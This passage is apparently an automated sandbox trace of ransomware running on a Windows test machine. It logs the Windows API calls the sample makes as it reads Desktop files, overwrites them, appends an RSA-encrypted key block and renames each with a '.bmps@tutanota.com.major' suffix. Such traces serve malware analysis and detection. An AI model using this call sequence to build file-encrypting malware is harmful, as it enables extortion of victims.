hHeap=0x570000, dwFlags=0x0, lpMem=0x6311b0 | out: hHeap=0x570000) returned 1 [0145.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0145.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0145.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.083] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.083] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\IzEDH-UkZHZJ5jKxrR.gif", dwFileAttributes=0x80) returned 1 [0145.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6313b8 [0145.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0145.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6313b8 | out: hHeap=0x570000) returned 1 [0145.084] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\IzEDH-UkZHZJ5jKxrR.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\izedh-ukzhzj5jkxrr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.084] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19839) returned 1 [0145.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d7f) returned 0x631898 [0145.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d7f) returned 0x636620 [0145.084] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x4d7f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d7f, lpOverlapped=0x0) returned 1 [0145.085] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-19839, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.085] WriteFile (in: hFile=0x5e4, lpBuffer=0x636620*, nNumberOfBytesToWrite=0x4d7f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x636620*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d7f, lpOverlapped=0x0) returned 1 [0145.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x636620 | out: hHeap=0x570000) returned 1 [0145.085] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d7f [0145.085] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.085] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.085] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.085] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.085] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.085] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="RbiIMC9VuxF1ZGtOc4MG8d6sxQCWPNIKrrwD3QSJ5afJnedsqAUiI0Rd7VYmr+yE\ndUyMNqFXmT/czfbAQD9TKhjSMmnUOq4zCvKyDLRZd/2LKwMdGLtkBtUs8P4D/i8y\niHE0I5SoTBiAPi3frinz4uNz891zWloJ+2SBPMe8CLG5XkgLjP8Lb7c5iJ8ZfFoU\n9MKAuaUe6CxG6HAl38sFJBQb3iTxT2lPn9IRvPloo0y/fBE3BB4OtnUXLpuxUra5\nankMiW5Y/l+MpWbI6t2igHIdERGBV4zZxJWYer9B1DfKTw0Xfvf694YhRhTKkgST\nH0gqbbjMXxKUQ0Ivm8AjFA==\n", pcchString=0x2e3f9a8) returned 1 [0145.085] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.086] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.086] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.086] CloseHandle (hObject=0x5e4) returned 1 [0145.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.086] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\IzEDH-UkZHZJ5jKxrR.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\izedh-ukzhzj5jkxrr.gif"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\IzEDH-UkZHZJ5jKxrR.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\izedh-ukzhzj5jkxrr.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0145.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0145.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0145.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0145.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.088] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.088] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\ij43ThFEkw0o3b.avi", dwFileAttributes=0x80) returned 1 [0145.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0145.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0145.088] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\ij43ThFEkw0o3b.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\ij43thfekw0o3b.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.088] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=27409) returned 1 [0145.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6b11) returned 0x631898 [0145.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6b11) returned 0x6383b8 [0145.088] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x6b11, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x6b11, lpOverlapped=0x0) returned 1 [0145.090] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-27409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.090] WriteFile (in: hFile=0x5e4, lpBuffer=0x6383b8*, nNumberOfBytesToWrite=0x6b11, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6383b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6b11, lpOverlapped=0x0) returned 1 [0145.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6383b8 | out: hHeap=0x570000) returned 1 [0145.090] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6b11 [0145.090] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.090] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.090] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.090] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.091] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.091] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="fB/MaLJjeGRjW/wgjfOg2PaUpQr5+eS7Ed6KdRYdSTCuU+agpffrKSwuKCLjWYoq\neCzPOG+9jOaN5WWxsQCMLb5y4kxND+o3VUgJ1AYgbvyPwQ/G2QlVBqLReRMZqWF2\nOJIAiBf/yaT2QntaGsOqQmlmoPBPxTSy2gIp9C/Jx+VPjPSaP7Ye4Dzg566XpYQQ\n2aAn0Xrx4Jext9qQ2TgUWN31TTjokx7mevztbghTAOhWXSkrxYz5kN3GazRe/lqK\nhS/hbPVJK3TjHDZB7OcBbo5HWZk6+mPwLMI3vu0x2D2U5jZ+6j0CtKIVqikCF2bN\nawYWAe0tZh6yr8W2ChTjdg==\n", pcchString=0x2e3f9a8) returned 1 [0145.091] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.091] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.091] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.091] CloseHandle (hObject=0x5e4) returned 1 [0145.091] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.091] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\ij43ThFEkw0o3b.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\ij43thfekw0o3b.avi"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\ij43ThFEkw0o3b.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\ij43thfekw0o3b.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.092] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.092] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.092] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0145.092] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0145.092] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0145.092] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.092] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.092] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\hNyoN.pdf", dwFileAttributes=0x80) returned 1 [0145.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0145.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0145.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0145.093] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\hNyoN.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\hnyon.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.093] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=83660) returned 1 [0145.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x146cc) returned 0x631898 [0145.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x146cc) returned 0x645f70 [0145.093] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x146cc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x146cc, lpOverlapped=0x0) returned 1 [0145.095] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-83660, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.095] WriteFile (in: hFile=0x5e4, lpBuffer=0x645f70*, nNumberOfBytesToWrite=0x146cc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x645f70*, lpNumberOfBytesWritten=0x2e3f9b4*=0x146cc, lpOverlapped=0x0) returned 1 [0145.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x645f70 | out: hHeap=0x570000) returned 1 [0145.096] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x146cc [0145.096] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.096] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.096] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.096] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.097] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.097] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="y+Dpl2o2GiZlKN2a5GBrCmiqEYEArd2B516kQaWgpOxhvvBz6mShJHgFvULpyWMU\nTkRrilUdgasoELHtTwS/in07qZ/Ko2k75ubYtQPcsHVB9/RQhkjzpQVV1jAsPFzT\naW6LiZbC4iVv0/Bi8YzJtD053BMC/8lL+KMUiqPPhPK35wh9ISvPVNPNPMsZo2qn\ng0RbMWX9+N6p+2Wj9+IsvLoiw58mX00AUjscv87kCRbFaDgjXuGYAveBlCGU9fIH\noAWpy739yC8goZ48hOPLff+Q2DdqBCO4liUl5O6o4Vk+Tzzdw8fa/HEN1voy+jA8\n2vaO7LRl0ThoDncX17v/iw==\n", pcchString=0x2e3f9a8) returned 1 [0145.097] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.097] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.097] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.097] CloseHandle (hObject=0x5e4) returned 1 [0145.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.097] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\hNyoN.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\hnyon.pdf"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\hNyoN.pdf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\hnyon.pdf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0145.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0145.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0145.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.100] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.100] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\gO3FIyJ104fr4GnY98Ix.jpg", dwFileAttributes=0x80) returned 1 [0145.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0145.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0145.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0145.100] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\gO3FIyJ104fr4GnY98Ix.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\go3fiyj104fr4gny98ix.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.100] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18033) returned 1 [0145.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4671) returned 0x631898 [0145.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4671) returned 0x635f18 [0145.100] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x4671, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x4671, lpOverlapped=0x0) returned 1 [0145.101] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-18033, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.101] WriteFile (in: hFile=0x5e4, lpBuffer=0x635f18*, nNumberOfBytesToWrite=0x4671, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x635f18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4671, lpOverlapped=0x0) returned 1 [0145.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x635f18 | out: hHeap=0x570000) returned 1 [0145.101] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4671 [0145.101] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.102] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.102] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.102] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.102] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.102] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Q3GwvvGibh/O//QzR++DYaCpRmb/o1FbSYgMfXsqTS+QWVxuIfIwLxlcbsWBcamw\nH5dyWaJtecq1VSVirpqg4swIzHv68I7ONeBjcck3fOVLJBncsh5WTGMfR2n9j+lU\nVZRPEgWP4XL8S7QxipHURpbABB8wcuzcZ0xY5FEDGO/RR4kZYlRRSjCD1eLsLf8W\n2xQy/AJ4ahF9asFFX1StaOoGUQhSxLBv+4xaEKXS8swCVmTKYxQIb3jUN93IAFs/\nK9A1bLpf2L9RLTOjGM/Up5vugDKF4ULlzF9KH64a1TtZrZ6sHLE5mEwcb0YvlX6T\nKHllYie148vGOFMhBXEppw==\n", pcchString=0x2e3f9a8) returned 1 [0145.102] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.102] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.102] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.102] CloseHandle (hObject=0x5e4) returned 1 [0145.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.102] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\gO3FIyJ104fr4GnY98Ix.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\go3fiyj104fr4gny98ix.jpg"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\gO3FIyJ104fr4GnY98Ix.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\go3fiyj104fr4gny98ix.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0145.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0145.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0145.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0145.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.104] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.104] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\eRtQ2rKaHZAhQ4Oz.jpg", dwFileAttributes=0x80) returned 1 [0145.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0145.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0145.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0145.104] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\eRtQ2rKaHZAhQ4Oz.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\ertq2rkahzahq4oz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.104] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=57362) returned 1 [0145.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe012) returned 0x631898 [0145.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe012) returned 0x63f8b8 